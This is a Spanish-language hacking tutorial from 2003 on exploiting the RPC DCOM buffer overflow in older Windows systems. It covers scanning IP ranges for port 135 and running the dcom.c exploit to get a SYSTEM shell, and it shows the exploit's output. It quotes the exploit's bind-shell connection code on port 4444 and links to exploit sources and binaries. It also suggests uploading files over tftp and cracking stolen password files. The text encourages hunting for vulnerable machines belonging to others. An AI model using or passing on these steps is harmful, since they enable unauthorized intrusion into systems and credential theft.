Sie sind auf Seite 1von 7

Explotando el bug RPC DCOM Hacking y Seguridad - Analisis de Exploits

Escrito por SeSoX

Esplicacion de los aspectos del bug RPC DCOM. Como explotarlo y algunos otros detalles. Texto Completo:

___________________________________________________ $ $ $ $ $ $ $ $ $ Creado para http://www.govannom.org Escrito por SeSoX (sesox at govannom dot org) Thu Jul 31 07:35:00 CEST 2003 Explotando el bug DCOM RPC v1.0 $ $ $ $ $ $ $ $ $

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

1.- Sistemas vulnerables 2.- Como saber si un sistema es vulnerable 3.- Creando un sistema vulnerable 4.- Consiguiendo acceso por telnet 5.- Echando un vistazo al exploit 6.- Agradecimientos y Despedida

1.- Sistemas vulnerables ^^^^^^^^^^^^^^^^^^^^ Tal y como podemos ver en la web de securityfocus[1], los sitemas vulnerables son: Microsoft Windows 2000 Advanced Server (SP4,SP3,SP2,SP1,sin SP) Microsoft Windows 2000 Datacenter Server (SP4,SP3,SP2,SP1,sin SP) Microsoft Windows 2000 Professional (SP4,SP3,SP2,SP1,sin SP) Microsoft Windows 2000 Server (SP4,SP3,SP2,SP1,sin SP) Microsoft Windows NT Enterprise Server 4.0 (SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP) Microsoft Windows NT Server 4.0

(SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP) Microsoft Windows NT Terminal Server 4.0 (SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP) Microsoft Windows NT Workstation 4.0 (SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP) Microsoft Windows Server 2003 Datacenter Edition Microsoft Windows Server 2003 Datacenter Edition 64-bit Microsoft Windows Server 2003 Enterprise Edition Microsoft Windows Server 2003 Enterprise Edition 64-bit Microsoft Windows Server 2003 Standard Edition Microsoft Windows Server 2003 Web Edition Microsoft Windows XP 64-bit Edition SP1 Microsoft Windows XP 64-bit Edition Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional

2.- Como saber si un sistema es vulnerable ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Un escaner que tiene muy buena pinta es el siguiente: http://download.iss.net/eval/internet_scanner/scanms.exe No lo he mirado mucho pero parece estar muy bien. La verdad parece vastante recomendable usarlo. Sino, el sistema que he usado yo asta ahora consiste en hacer primero el escaneo de algunos rangos de ip-s con programas del tipo de R3x o "LANguard Network Security Scanner" (comentado en el texto de cyruxnet[3]). Con estos programas sabremos cual es el sistema que corre la maquina, ya sea w2k, winNT o win98...... si por ejemplo estamos usando el exploit dcom.c los unicos sistemas que nos interesan son los w2k y los XP por lo tanto nos centraremos unicamente en las maquinas con w2k y con winXP ya que son las unicas soportadas por este exploit, si usas otro exploit, pues haz lo mismo con las maquinas q soporte ese exploit. Una vez tenemos las

maquinas soportadas por el exploit, debemos asegurarnos de que tienen el puerto 135 habierto y tras esto podemos usar el scaner de eeye para saber si son o no vulnerables: http://www.terra.es/personal6/robesan/RetinaRPCDCOM.exe Sino podemos pasar directamente a usar el exploit. Personalmente, he estado echando un vistazo por internet y parece ser que a veces el exploit tira el servicio RPC de la maquina, asi que andaros con cuidado no se valla a enfadar algun admin, aparte de que no es muy divertido andar por ahi tirando servicios..... Se que el proceso que os indico para escanear esta vulnerabilidad es vastante engorroso, pero es que teniendo en cuenta que podemos tirar el servicio RPC, no es muy conveniente andar usando el exploit a saco con todos los pc-s que tengan el 135 habierto (me parece a mi).

3.- Creando un sistema vulnerable ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ En principio con instalar el sistema, seria suficiente para que la maquina sea vulnerable a este bug, de todas formas, si mirais los exploits, os dareis cuenta de que por ejemplo no hay exploits para las versiones en castellano de w2k SP0, SP1, SP2, SP3 y algunos otros sistemas. Por ejemplo tampoco hay para sistemas NT4 asi que si sabeis que la maquina es un NT4 mejor dejarla tranquila para no tirarles el servicio abajo.

4.- Consiguiendo acceso por telnet ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Bueno, una vez localizado un servidor vulerable usando la tecnica

explicada en el punto 2 debemos usar el exploit[2] para poder conseguir una cuenta en el sistema, lo que debemos hacer es lo siguiente:

SeSoX # ./dcom 4 192.168.0.25 --------------------------------------------------------- Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM - Using return address of 0x77f92a9b - Dropping to System Shell...

Microsoft Windows 2000 [Versin 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\WINNT\system32>

Ya tenemos acceso al sistema!!!!!!!!!!!! ahora deja volar tu imaginacion };) Podemos usar tftp para subir ficheros al servidor, copiar ficheros del sistema en el directorio web para bajarlos, bajarnos el fichero de contraseas para crackearlo o lo que nos de la gana pero... ser buenos vale ? ;) El segundo valor, que en el ejemplo es un 2 puede variar de un sistema a otro, pero como ya comente antes, mejor atinar a la 1 pq sino, es posible que a la segunda nos aparezca lo siguiente: SeSoX # ./dcom 3 192.168.0.25 --------------------------------------------------------- Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM - Using return address of 0x77e8367a - Connect: Connection refused

Con lo cual yo he deducido que pasa lo que ya os he comentado, que hemos tirado el servicio RPC. Podeis hacerle un scaneo al puerto 135 y vereis que ahora esta cerrado.

5.- Echando un vistazo al exploit (dcom.c) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ No soy ningun experto en exploits y no podre esplicaros gran cosa sobre este, pero veamos un par de detalles que espero a alguien le sirvan de algo. En el bug del nsiislog cuando usabamos el exploit con un servidor, lo que hacia este exploit era habrir un puerto en la maquina y luego nos conectabamos a ese puerto por telnet lo recordais? pues bien, este exploit actua exactamente igual, lo que hace es habrir el puerto 4444 en el servidor, pero la diferencia en este caso es que el mismo exploit es el que realiza la conexion a ese puerto, sin tener nosotros la necesidad de hacer un telnet. Y como podemos saber esto en el exploit ? pues viendo el siguiente codigo que esta al final del exploit: target_ip.sin_family = AF_INET; // argv[2] es la direccion ip del servidor que estamos testeando ;) target_ip.sin_addr.s_addr = inet_addr(argv[2]); // el puerto que habrira el exploit en el servidor (4444) target_ip.sin_port = htons(4444); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("- Socket"); return(0); } // Realiza la conexion al puerto 4444 en el servidor y en caso de que // no pueda conectar, nos da un error. if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)

{ printf("- Exploit appeared to have failed.\n"); return(0); } // Si ha conectado nos mostrara este mensaje y aparecera el prompt de ms-dos printf("- Dropping to System Shell...\n\n"); shell(sock); Si quereis, podeis probar a eliminar estas lineas y a usar el exploit de forma que tras ejecutarlo tendreis que hacer telnet al puerto 4444 del servidor para ver si ha funcionado o no, esto tambien tendria sus ventajas, ya que al hacer por ejemplo un Ctrl+C no nos cerraria la conexion con el servidor.

6.- Agradecimientos y Despedida ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Agradecer a ASzY la revicion de este documento, y la compilacion del exploit de windows. A toda la pea que me ha ayudado cuando lo he necesitado y a toda la gente que escribe textos como este para ensear cosillas a los demas. Tambien queria agradecer a cyruxnet.com.ar el haber puesto la noticia de mi texto sobre el bug de windows media services (nsiislog) en su web. Si os surge cualquier duda, encontrais algun fallo o quereis aadir algo en este texto, no dudeis en escribirme a sesox at govannom dot org pq estare encantado de leer vuestros correos. Que tengais una divertida y productiva caza!!!! };)

[1] [2]

http://www.securityfocus.com/bid/8205 Linux (fuentes) Linux (binarios) http://www.terra.es/personal6/robesan/dcom.c http://www.terra.es/personal6/robesan/dcom

Win (fuentes) http://www.terra.es/personal6/robesan/07.30.dcom48.c Win (binarios) http://www.terra.es/personal6/robesan/07.30.dcom48.exe [3] http://www.cyruxnet.com.ar/rpcxploit.htm

Mas informacion: http://www.securiteam.com/windowsntfocus/5SP0C20AKG.html http://www.securityfocus.com/bid/8205 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352 http://www.hispasec.com/unaaldia/1728 http://securityresponse.symantec.com/avcenter/security/Content/8205.html http://www.unam-cert.unam.mx/Boletines/Boletines2003/boletin-UNAM-CERT2003-016.html

Copyright (c) 2004 SeSoX. Se otorga permiso para copiar, distribuir y/o modificar este documento bajo los trminos de la Licencia de Documentacin Libre (FDL) GNU, Versin 1.2 o cualquier otra versin posterior publicada por la Free Software Foundation

Das könnte Ihnen auch gefallen